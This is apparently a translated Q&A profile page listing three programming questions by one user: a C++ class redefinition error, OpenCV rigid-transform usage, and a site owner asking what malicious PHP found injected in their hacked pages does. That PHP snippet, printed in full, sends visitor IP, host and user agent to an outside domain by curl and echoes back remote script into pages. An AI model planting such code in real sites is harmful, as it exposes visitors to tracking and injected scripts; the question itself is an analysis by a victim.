小编Tom*_*ith的帖子

C++'class'类型重定义

我第一次尝试使用c ++中的类.我的圈子类和相关的头文件工作正常,然后我移动了一些文件,然后继续得到我在下面显示的错误.

c:\circleobje.cpp(3): error C2011: 'CircleObje' : 'class' type redefinition

c:\circleobje.h(4) : see declaration of 'CircleObje'
Run Code Online (Sandbox Code Playgroud)

CircleObje.h

#ifndef CircleObje_H
#define CircleObje_H
class CircleObje
{
public:
void setCol(float r, float g, float b);
void setCoord(int x, int y);
float getR();
float getG();
float getB();
int getX();
int getY();
};

#endif
Run Code Online (Sandbox Code Playgroud)

CircleObje.cpp

#include "CircleObje.h"

class CircleObje {

float rVal, gVal, bVal;
int xCor, yCor;

public:

void setCol(float r, float g, float b)
{
    rVal = r;
    gVal = g;
    bVal = b; …
Run Code Online (Sandbox Code Playgroud)

c++ class

9
推荐指数
1
解决办法
3万
查看次数

未经授权的代码放在网页上

最近我参与的一个网站被黑客攻击,未经授权的代码被放置在许多页面上.我只是想知道是否有人可以了解这个代码到底是做什么的,以及将它放在这些页面上的用户会有什么好处.

<?php
#31e3cd#
error_reporting(0); ini_set('display_errors',0); $wp_okpbo35639 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_okpbo35639) && !preg_match ('/bot/i', $wp_okpbo35639))){
$wp_okpbo0935639="http://"."html"."-href".".com/href"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_okpbo35639);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_okpbo0935639);
curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_35639okpbo =   curl_exec ($ch); curl_close($ch);}
if ( substr($wp_35639okpbo,1,3) === 'scr' ){ echo $wp_35639okpbo; }
#/31e3cd#
?>
Run Code Online (Sandbox Code Playgroud)

上面是代码,因为它出现在页面上.我玩过这个代码,它似乎使用以下方式获取用户信息:

$_SERVER['HTTP_USER_AGENT']
Run Code Online (Sandbox Code Playgroud)

然后将其组合成类似于下面的URL,但将上面的用户信息添加到URL

http://html-href.com/href/?ip=::1&referer=localhost&ua=
Run Code Online (Sandbox Code Playgroud)

我知道curl用于数据传输,但这些信息到底发送的具体目的是什么?

php security curl cracking

7
推荐指数
1
解决办法
1014
查看次数

使用estimateRigidTransform而不是findHomography

以下链接中的示例findHomography用于获取两组点之间的转换.我想限制在改造中使用的自由度,所以想更换findHomographyestimateRigidTransform.

http://docs.opencv.org/doc/tutorials/features2d/feature_homography/feature_homography.html#feature-homography

下面我estimateRigidTransform用来获取对象和场景点之间的转换.objPointsscePoints由下式表示vector <Point2f>.

Mat H = estimateRigidTransform(objPoints, scePoints, false);
Run Code Online (Sandbox Code Playgroud)

按照上面教程中使用的方法,我想使用转换来转换角点值H.本教程使用perspectiveTransform返回的3x3矩阵findHomography.使用刚性变换时,它仅返回2x3矩阵,因此无法使用此方法.

如何变换角的值,vector <Point2f>用这个2x3矩阵表示.我只是想要执行与教程相同的功能,但转换的自由度较低.我已经看过其他方法,如warpAffinegetPerspectiveTransform好,但到目前为止还没有找到一个解决方案.

编辑:

我试过David Nilosek的建议.下面我将额外的行添加到矩阵中.

Mat row = (Mat_<double>(1,3) << 0, 0, 1);
H.push_back(row);
Run Code Online (Sandbox Code Playgroud)

但是,这在使用perspectiveTransform时会出现此错误.

OpenCV Error: Assertion failed (mtype == type0 || (CV_MAT_CN(mtype) == CV_MAT_CN(type0) && ((1 << type0) & fixedDepthMask) != 0)) in create, file /Users/cgray/Downloads/opencv-2.4.6/modules/core/src/matrix.cpp, line 1486
libc++abi.dylib: terminating with …
Run Code Online (Sandbox Code Playgroud)

c++ opencv transformation homography ransac

6
推荐指数
2
解决办法
1万
查看次数

标签 统计

c++ ×2

class ×1

cracking ×1

curl ×1

homography ×1

opencv ×1

php ×1

ransac ×1

security ×1

transformation ×1